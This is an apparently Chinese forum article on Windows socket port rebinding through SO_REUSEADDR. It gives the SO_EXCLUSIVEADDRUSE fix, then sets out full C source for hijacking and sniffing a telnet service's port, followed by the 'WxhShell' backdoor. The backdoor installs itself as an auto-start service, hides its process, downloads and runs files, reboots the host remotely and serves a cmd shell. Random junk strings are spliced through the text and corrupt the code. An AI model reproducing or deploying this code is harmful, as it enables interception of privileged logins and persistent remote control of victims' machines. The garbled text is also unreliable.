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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wGzXp5
dl s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vg:J#M: 9hR:y. saddr.sin_family = AF_INET; -{8Q= N :qCm71* saddr.sin_addr.s_addr = htonl(INADDR_ANY); Fm$n@RbX I"Q9W|J_& bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /ik)4]> e,#+Xx0M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E8iadf49 Gp ^ owr 这意味着什么?意味着可以进行如下的攻击: ;h-G3>Il DtF![0w/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U.pr} hq dVVvG] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lYZ@a4TA W-C0YU1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BBU84s[ 3\p]esse 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 LTYuxZ U/3e,`c 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9Nag%o{*S> Y1yXB).AH8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^;)SFmjg% KtfkE\KP 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o}mhy`} {m+S{dWp #include S&
, Ju% #include 0i`v:Lq% #include k5fH; #include NWQPOq# DWORD WINAPI ClientThread(LPVOID lpParam); c?p0#3%L# int main() EbBv}9g { U9@t?j_#X{ WORD wVersionRequested; iJCY /*C} DWORD ret; [.#p WSADATA wsaData; f
gK2.;> BOOL val; bG5^h SOCKADDR_IN saddr; T.R>xd`9
" SOCKADDR_IN scaddr; taWirqd9 int err; 8"?Vcw& SOCKET s; SgCqxFii SOCKET sc; q(ZB. int caddsize; RR~sEUCo{ HANDLE mt; w
L/p.@ DWORD tid; k Z+ q wVersionRequested = MAKEWORD( 2, 2 ); vu_>U({.
T err = WSAStartup( wVersionRequested, &wsaData ); =A0"0D{\ if ( err != 0 ) { @sB}q 6> printf("error!WSAStartup failed!\n"); Qb6QXjN
Q return -1; (6ohrM>Q } vk4C_8m saddr.sin_family = AF_INET; DJ1XNpm b[{m>Fa+o# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4hsPbUx9 /@9-!cL saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;I!+lx3[ saddr.sin_port = htons(23); R
(tiIo if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :c~9>GCE& { PSP1>-7)w printf("error!socket failed!\n"); fB;&n return -1; wc6
E-rB
} q7O,I`KaJ val = TRUE; 0%h[0jGj //SO_REUSEADDR选项就是可以实现端口重绑定的 QoW(tM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6o[0sM_]; { xE G+%Uk{ printf("error!setsockopt failed!\n"); |MOn0* return -1; Xmf } $n=W2WJ6f //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U,%s; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q-!
i$#- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RlI
W&y x"(7t3xK if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [Vrc:%Jk { Ht`<XbQ> ret=GetLastError(); '|YtNhWZ? printf("error!bind failed!\n"); ILkjz^ return -1; CbTf"pl } #6*V7@9]3| listen(s,2); 8_^'(] while(1) pTa'.m { 1zb$5 {,| caddsize = sizeof(scaddr); E@5zd@[ //接受连接请求 +?URVp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &%|xc{i if(sc!=INVALID_SOCKET) 2k.S[?) { g)=V#Bglv mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /p"U if(mt==NULL) g>6:CG" { q
Axf5 printf("Thread Creat Failed!\n"); w"fCI13 break; *)j@G: } ]}nu9z< } 7^kH8qJ) CloseHandle(mt); oS[W*\7'! } pu\b`3C( closesocket(s); Q;XXgX#l WSACleanup(); xT{TVHdU return 0; O"@?U } &tlR~?$e* DWORD WINAPI ClientThread(LPVOID lpParam) `y1BTe& { aj&\CJ SOCKET ss = (SOCKET)lpParam; @;||peU SOCKET sc; 1k!D0f3qb unsigned char buf[4096]; h=X7,2/< SOCKADDR_IN saddr; 5T!&r long num; -6uH. DWORD val; 1t0bUf;(M DWORD ret; i{<8
hLO //如果是隐藏端口应用的话,可以在此处加一些判断 ! a86iHU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 =L:[cIRrT; saddr.sin_family = AF_INET; <2n'}&F saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Wl,%&H2S< saddr.sin_port = htons(23); RM)1*l`!E if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) slu$2-H { 0w^jls printf("error!socket failed!\n"); iYkRo>3!QX return -1; F?!FD>L{` } V78Mq:7d val = 100; {\P?/U6~f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f&K}IM8& # { G=vN;e_$_b ret = GetLastError(); #o"tMh!f return -1; cB{%u
' }
*hV4[= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H(MB5 { Tsu\oJ[ ret = GetLastError(); )m|C8[ u return -1; P~&O4['< } N[>:@h if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &u&2D$K,tp { sc<kiL printf("error!socket connect failed!\n"); H1Q''$}Z. closesocket(sc); F/)f,sZF closesocket(ss); <|otZJ'2r return -1; aWdUuid } Pv#KmSA9 while(1) m{VL\ g) { P1$f}K} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e "_&z#
2_ //如果是嗅探内容的话,可以再此处进行内容分析和记录 2ed@HJu //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %@>YNPD`E num = recv(ss,buf,4096,0);
yz2(_@R if(num>0) ohtT
O]\ send(sc,buf,num,0); X!o@f$ else if(num==0) +5#x6[ break; "X`Qe!zk4 num = recv(sc,buf,4096,0); 9wzwY[{ if(num>0) jn~!V!++ send(ss,buf,num,0); f;R>Pr;rD else if(num==0) `nKJR'QC break; ^mAJ[^% } (Bsw/wv closesocket(ss); ,b$z!dvhl closesocket(sc); ^+EMZFjg( return 0 ;
M'YJ" } #o~[1K+Yq rj}(muM,R O
3G:0xF ========================================================== f0OgK<.>T HXyFj 下边附上一个代码,,WXhSHELL KA?v.s Y!F!@`%G ========================================================== Y4`QK+~fH yk`)Cq%=; #include "stdafx.h" I-TlrW=t L -YNz0A #include <stdio.h> 2HSb.&7-G #include <string.h> mLQUcYfR #include <windows.h> PF m\[2 #include <winsock2.h> A4}#U=3tI #include <winsvc.h> /;7ID41 #include <urlmon.h> %TDXF_.[ x`#22"m #pragma comment (lib, "Ws2_32.lib") {-J:4*` #pragma comment (lib, "urlmon.lib") ~+=E"9Oo K|Om5
p #define MAX_USER 100 // 最大客户端连接数 xuF5/(__ #define BUF_SOCK 200 // sock buffer {79qtq%W{ #define KEY_BUFF 255 // 输入 buffer /e .D/;] T30Zk*V #define REBOOT 0 // 重启 M.S
s:ttj #define SHUTDOWN 1 // 关机 r
3|4gG 'Wtf>` #define DEF_PORT 5000 // 监听端口 I.-v?1>, [1Uz_HY["3 #define REG_LEN 16 // 注册表键长度 xb]odYGdW #define SVC_LEN 80 // NT服务名长度 &lq^dFP&Su 1g~y]iQ // 从dll定义API W~<m[#:6C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V8tghw typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5=Suj*s{D# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BW>5?0E[4( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /7x\;&bc Fh^ox"3c // wxhshell配置信息 o(zTNk5d struct WSCFG { P2t_T'R} int ws_port; // 监听端口 =},{8fZ4 char ws_passstr[REG_LEN]; // 口令 *Wso3 6an int ws_autoins; // 安装标记, 1=yes 0=no S*xhX1yUi char ws_regname[REG_LEN]; // 注册表键名 _;7fraqX char ws_svcname[REG_LEN]; // 服务名 6e<^oH char ws_svcdisp[SVC_LEN]; // 服务显示名 |/*pT1(& char ws_svcdesc[SVC_LEN]; // 服务描述信息 x~z_,': char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VVFV8T4 int ws_downexe; // 下载执行标记, 1=yes 0=no HA1]M`& char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" WcU@~05b char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g Jk[Ja C38%H }; |AC6sfA+ 06jMj26! // default Wxhshell configuration Wy.";/C struct WSCFG wscfg={DEF_PORT, 4\HsU9x "xuhuanlingzhe", aHC%19UN 1, ULIFSd Y "Wxhshell", _Z.cMYN "Wxhshell", =hGJAU "WxhShell Service", J.W Ho
c "Wrsky Windows CmdShell Service", [%?y( q "Please Input Your Password: ", pC^2Rzf 1, U!0E_J " http://www.wrsky.com/wxhshell.exe", e3g_At\ "Wxhshell.exe" 3nrqo<X }; oq. r\r
H-2_j // 消息定义模块 `m, Ki69. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >XnO&hW char *msg_ws_prompt="\n\r? for help\n\r#>"; )!sa)\E? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; X4'kZ'Sy< char *msg_ws_ext="\n\rExit."; b2s~%}T char *msg_ws_end="\n\rQuit."; "H?QqrKx char *msg_ws_boot="\n\rReboot..."; gz4UV/qr/ char *msg_ws_poff="\n\rShutdown..."; 7E~4)k0< char *msg_ws_down="\n\rSave to "; /PW&$P1.]" Vo >Xp char *msg_ws_err="\n\rErr!"; S(w\Z C char *msg_ws_ok="\n\rOK!"; />F.Nsujy R04J3D| char ExeFile[MAX_PATH]; 0D~=SekQ9 int nUser = 0; OpQ8\[X+ HANDLE handles[MAX_USER]; eT-9 int OsIsNt; >)3VbO m|1n
x SERVICE_STATUS serviceStatus; {g_@Tuu SERVICE_STATUS_HANDLE hServiceStatusHandle; %E.S[cf%8& 3\+N`! // 函数声明
w~LU\Ct int Install(void); wDw<KU1UK int Uninstall(void); u5F}( +4r int DownloadFile(char *sURL, SOCKET wsh); j3 P$@< int Boot(int flag); 7"K^H]6u30 void HideProc(void); J3IRP/*z int GetOsVer(void); l#xw.2bo int Wxhshell(SOCKET wsl); 0Cq!\nzz void TalkWithClient(void *cs); $"fzBM?5 int CmdShell(SOCKET sock); C0(sAF@ int StartFromService(void); +>#e=nH int StartWxhshell(LPSTR lpCmdLine); "@)lH HsH<m j VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ERC<Dd0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); s0lYj@E' !FP"M+ // 数据结构和表定义
Q;20T SERVICE_TABLE_ENTRY DispatchTable[] = ?0z)EPQ| { Pb4q`! {wscfg.ws_svcname, NTServiceMain}, wko2M[ {NULL, NULL} =UUd8,C/ }; Abf1"#YImy OL9]*G?F // 自我安装 Nf5WQTa4 int Install(void) ! TDD^ { @yKZRwg char svExeFile[MAX_PATH]; jsdBd2Gdc HKEY key; JY@X2'>v/ strcpy(svExeFile,ExeFile); v.b5iv 5 d$[8w/5Of // 如果是win9x系统,修改注册表设为自启动 BSDk9Oc if(!OsIsNt) { 7E\gxQ(vU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WgPgG0VJE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B1+ZFQo RegCloseKey(key); qHJ'1~?q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <r;o6>+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yrsp%<qj RegCloseKey(key); ttj2b$M, return 0; `:4MMr9 1 } +5-fk>o } 6(.H3bu } ymkR! else { $}4K`Iu {XHk6w
*- // 如果是NT以上系统,安装为系统服务 A$<>JVv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;dOs0/UM& if (schSCManager!=0) T3rn+BxF 7 { gIBpOPr^d SC_HANDLE schService = CreateService .+vd6Uc5a ( OHhs y|W schSCManager, ^K.*.| wscfg.ws_svcname, n.Vtc-yZU wscfg.ws_svcdisp, 1MV@5j SERVICE_ALL_ACCESS, R'Eq:Rv~;^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?@3&dk~ni SERVICE_AUTO_START, 8nsZ+,@+[ SERVICE_ERROR_NORMAL, H!. ZH(asY svExeFile, L~
2q1 NULL, (Y )!"_| NULL,
QP V@'.2m NULL, 8T7f[? NULL, ]?#
#))RUS NULL avy=0Jmj ); HT&p{7kFm if (schService!=0) )Oe`s(O@[I { e{JVXc[D CloseServiceHandle(schService); 1vsu[n CloseServiceHandle(schSCManager); x5PPu/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
A!4VjE> strcat(svExeFile,wscfg.ws_svcname); e2bLkb3c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /W0E(8:C) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {wv&t R; RegCloseKey(key); U3N(cFXn return 0; p;e$kg1 } 6+)x7g1PL } )^";BVY CloseServiceHandle(schSCManager); Otxa<M+" } Ysl9f1>% } tO`?{?W7 i7(~>6@| return 1; sxk*$jO[] } uR^. yYk|YX(7U // 自我卸载 c(E,&{+E int Uninstall(void) /:KQAM0 { @ge
LW! HKEY key; ]/[0O+B? zu C5@jy.x if(!OsIsNt) { 2md.S$V$, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9 R RegDeleteValue(key,wscfg.ws_regname); 0:#7M}U RegCloseKey(key); EZ `}*Yrd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6: GN(R$0 RegDeleteValue(key,wscfg.ws_regname); ~ttKI4 RegCloseKey(key); q^%5HeV 2 return 0; d
"B5==0I } ivD^HhG } e lay
=%) } 9':/Sab:7v else { I^@.Awt /0l-mfRr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y!aLf[x] if (schSCManager!=0) =nw0# ' { }I)z7l. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q84t9b if (schService!=0) }`#Bf { ~n8F7 if(DeleteService(schService)!=0) { K]9tc) CloseServiceHandle(schService); _Po#ZGm~ CloseServiceHandle(schSCManager); 4V1|jy3 return 0; OK.-]()! } 7Y)s#FJ CloseServiceHandle(schService); y6\ [1nZ } {aT92-D3 CloseServiceHandle(schSCManager); FJW`$5? } -h=c=P } ?f9$OLEB s
8Jj6V return 1; y6bjJ} } Ty.drM }\U0[x#q // 从指定url下载文件 uO6c3|Zjs int DownloadFile(char *sURL, SOCKET wsh) pL%4= ]m { }0vtc[! HRESULT hr; wqf& i^_ char seps[]= "/"; tG_-;03<`4 char *token; WVinP(#nfM char *file; B
JU*`Tx char myURL[MAX_PATH]; 9Y\F53p&j char myFILE[MAX_PATH]; ]yw_n^@ 2}59 7Hb strcpy(myURL,sURL); [l`^fnKt token=strtok(myURL,seps); = >P_mPP= while(token!=NULL) 8Er[M { [9w, WJL file=token; 2YaTT& J token=strtok(NULL,seps); O~nBz):2 } .0?ss0~ W6)dUi
:" GetCurrentDirectory(MAX_PATH,myFILE); 9t.fij strcat(myFILE, "\\"); ~>.awu+o| strcat(myFILE, file); )H.ubM1 send(wsh,myFILE,strlen(myFILE),0); w/hh
4ir send(wsh,"...",3,0); sb8z_3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?&{S~[;l if(hr==S_OK) nl.~^CP return 0; =ZFcxGo else 6JUav."`~ return 1; InAU\! ew &@-1"-H } *7)S%r,? cC7"J\+r* // 系统电源模块 ]JkpR aP$ int Boot(int flag) ru#T^AI*^ { Nck!z8 HANDLE hToken; 2nG{>,#C:O TOKEN_PRIVILEGES tkp; %ZJ),9+ bjU 2UcI"< if(OsIsNt) { *>?):-9"6N OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =d:R/Z%, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2&zn^\%" tkp.PrivilegeCount = 1; oHYD_8'f tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5<'n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !7kAJG g if(flag==REBOOT) { yffU%
) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7I @9v=xV return 0; 2@"0}po# } O>)n*OsS else { X}n&`y{/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c,b`N0dOKL return 0; &>+I7Ts] } 9Bbm7Gd } 1t~S3Q||>] else { ~;!i)[- if(flag==REBOOT) { luP'JUq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '91u q return 0; a#OhWqu$ } H4,.H,PZ else { sWojQ-8} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J
pCZq
# return 0; Zu [?' } ;f\R$u- } `uaD.m$EJ A~yw8v5UF return 1; 'Wx\"]: } &VZmP5Gv g4.'T51 // win9x进程隐藏模块 q7)]cY_ void HideProc(void) HNkZ1+P { { Uy_}@50"l Le#E! sU HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qxecp2>U if ( hKernel != NULL ) a?xq*|? { {Vt^Xc pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;/hH=IT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FS]+s> FreeLibrary(hKernel); 1o5Y9#7 } uP%;QBb ^8f|clw" return; aQym=
6%e } B'lxlYV1 ^V0{Ew/x // 获取操作系统版本 X'3`Q S:! int GetOsVer(void) y9re17{
X { 4LKs'$:A= OSVERSIONINFO winfo; C.9eXa1wkT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,nu7r1} GetVersionEx(&winfo); ,P; a/{U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >1)@n3. <O return 1; |<+|Du1 else )2^/?jK return 0; I vl^,{4 } D0E"YEo\nv D=I5[t0c4 // 客户端句柄模块 ja,L)b: int Wxhshell(SOCKET wsl) l)!woOt { lo]B5_en SOCKET wsh; ^?S@v1~7d struct sockaddr_in client; >-tH&X^ DWORD myID; /NN[gz 2I(@aB+ while(nUser<MAX_USER) GYb2m"a) { Xw}Y!;<IEu int nSize=sizeof(client); L8-[:1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e5/DCz if(wsh==INVALID_SOCKET) return 1; N mjBJ_G rEpKX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x8rFMR#S= if(handles[nUser]==0) 9{^B
Tc
closesocket(wsh); $> rfAs! else aXid;v, nUser++; <"|<)BGeI } d(B;vL@R2V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *,*:6^t vJjj+: return 0; f}9`iN=k } eiSO7cGy #uw*8&%0 // 关闭 socket 4.kkxQR7r void CloseIt(SOCKET wsh) y7G|P~td { =z/mI y< closesocket(wsh); +7vh_ _ nUser--; GC#95 ExitThread(0); ="TOa"Zk } (pxz#B4 q\pc2Lh?^ // 客户端请求句柄 f'yd{ihFp void TalkWithClient(void *cs) o!dkS/u-m { 7X3l&J2C4l McI4oD~" SOCKET wsh=(SOCKET)cs; 8lb
`
char pwd[SVC_LEN]; F^v{ Jqc char cmd[KEY_BUFF]; Z5^UF2`Q char chr[1]; 8o5^H> int i,j; }8KL]11b v__Go kj- while (nUser < MAX_USER) { E0x$;CG! +fR`@HI if(wscfg.ws_passstr) { =]k_Oq-1h if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fi=8B&j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2&f=4b`Z //ZeroMemory(pwd,KEY_BUFF); G8c}re
i=0; }Nc!8'@ while(i<SVC_LEN) { _)H+..= WC&Ltw8 // 设置超时 83(P_Y: fd_set FdRead; PbH]K$mj{" struct timeval TimeOut; Y]Nab0R& FD_ZERO(&FdRead); Mj;'vm7#' FD_SET(wsh,&FdRead); 13@| {H CB TimeOut.tv_sec=8; @G{DOxE* TimeOut.tv_usec=0; jJnBwHp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r?>Hg+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qUg4-Z4 !|QeYGnq6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]/naH#8G pwd =chr[0]; J}u1\Id% if(chr[0]==0xd || chr[0]==0xa) { \ku{-^7 pwd=0; AlhiF\+ C break; ZDD|MH } 5gEWLLDp i++; 8jx1W9=`9[ } ^>28>!"1 hfc!M2/w // 如果是非法用户,关闭 socket @Ec9Do> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P
&._-[ } e-meUf9 nxRrmR}F send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m$: a|'mS send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SSC!BcC1 MUl+Oy> while(1) { b=l}|)a pQ\ [F ZeroMemory(cmd,KEY_BUFF); fX|,s2-FW l.)!jWY // 自动支持客户端 telnet标准 6&T1
ZY` j=0; #XPU$= while(j<KEY_BUFF) { #| Po&yu4R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +rX,Sl`/
cmd[j]=chr[0]; U#4W"1~iX if(chr[0]==0xa || chr[0]==0xd) { %;J`dM cmd[j]=0; DF =.G1 break; ti%
e.p0[ } Ut =y`]F j++; GUXX|W[6 } Yl=
|P` v83 6nxL M // 下载文件 1OL~)X3 if(strstr(cmd,"http://")) { ?[">%^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); u] b6> if(DownloadFile(cmd,wsh)) 95&HsgdxJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); =ByW` else O}V2>W$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tDkqwF), } 5.
i;IOx else { {BU,kjv1g nU)f]4q{Ec switch(cmd[0]) { | <$O5b' X}Fv* // 帮助 *PPFk.#x case '?': { 1[ Pbsb send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q1yTDJ(2 break; 'l;|t"R12 } @pz2}Hd| // 安装 &I= q% case 'i': { )M~5F,) if(Install()) ?`$4ZDM send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Gi/=[Tp else ~Ua0pS? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?9"glzxr break; %h rR'*nG } }Of^Y@{q. // 卸载 /_8V+@im case 'r': { ovp>"VuC if(Uninstall()) COafVlJ,l send(wsh,msg_ws_err,strlen(msg_ws_err),0); S"l&=J2dc else }$ der send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )uP= o break; J2rH<Fd[up } Kt(p| // 显示 wxhshell 所在路径 04:Dbt~=?p case 'p': { 2+HiaYDZ char svExeFile[MAX_PATH]; Aj_}B. strcpy(svExeFile,"\n\r"); #<{MtK_ strcat(svExeFile,ExeFile); y- YYDEl send(wsh,svExeFile,strlen(svExeFile),0); 2bmppDk break; E_P]f% } BKk*<WMD // 重启 $8)/4P?OL case 'b': { O{PRK5 ^h send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sl1N V if(Boot(REBOOT)) (,>`\\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); `{%*DHa else { EifYK closesocket(wsh); M6>l%[ ExitThread(0); ?d 4_'y
} %o-*~GQ@B break; HhO$`YZ%> } [0$Y@ek[ // 关机 `?:'_Ki case 'd': { 0)Z7U$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o?>)CAo if(Boot(SHUTDOWN)) N{'k
]& send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1D$k:|pP~ else { rqIt}(J closesocket(wsh); V+ Z22 ExitThread(0); Q]\xO/ } 'EQAG' YV break; =vWnqF: } DE[y&]/C{ // 获取shell pT
<H& case 's': { /cg!Ap5 CmdShell(wsh); 7W*OyH^ closesocket(wsh); "H({kmR ExitThread(0); R$\ieNb break; -Bc.<pFqp } tC;D4i // 退出 '{|87kI case 'x': { ."2V:;; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `f(!i mN CloseIt(wsh); 7M4iBk4I break; rkD(KG9E } 4B|f}7%\ // 离开 + 7Z%N9 case 'q': { 5\pizD/17 send(wsh,msg_ws_end,strlen(msg_ws_end),0); V/03m3!q closesocket(wsh); 35ng_,t$ WSACleanup(); WA<~M)rb exit(1); }\9qN! ol break; S_)va#b# } Q<M>+U;t } -1@kt<Es } MQI6e". ]`lTkh // 提示信息 !$O +M# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ (GXlhA } wy7f7zIa } i6[Hu8 Ts.61Rx return; oRCj]9I$ } I!{5*~ 3 |d{4_o90 // shell模块句柄 s01n[jQ int CmdShell(SOCKET sock) lK{h%2A\b { F&ux9zP STARTUPINFO si; QqRL>.)W ZeroMemory(&si,sizeof(si)); 7r:!HmRl si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tFG&~tNc si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,}J(& PROCESS_INFORMATION ProcessInfo; q>,i `* char cmdline[]="cmd"; SoCa_9*X CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;XANITV return 0; Nl0*"}`I_ } }e1f kjWk h]I ^%7 // 自身启动模式 Z[ys>\_To int StartFromService(void) =ove#3 { /op8]y typedef struct E<0Y;tR { "Ln)v DWORD ExitStatus; tX)^$3A DWORD PebBaseAddress; e~xN[Q\0] DWORD AffinityMask; BjSLbw-C DWORD BasePriority; h(ZZ7(ue ULONG UniqueProcessId; q5Z]Z.%3O ULONG InheritedFromUniqueProcessId; rxt)l } PROCESS_BASIC_INFORMATION; L~>pSP^a VTS8IXz PROCNTQSIP NtQueryInformationProcess; 9[T}cN=| !ouJ3Jn static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &iez{[O static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `i;f ApR>b% HANDLE hProcess; F8KSB"!NR PROCESS_BASIC_INFORMATION pbi; h<JV6h :8 ><^
, HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :A"GOc, if(NULL == hInst ) return 0; 741Sd8 N
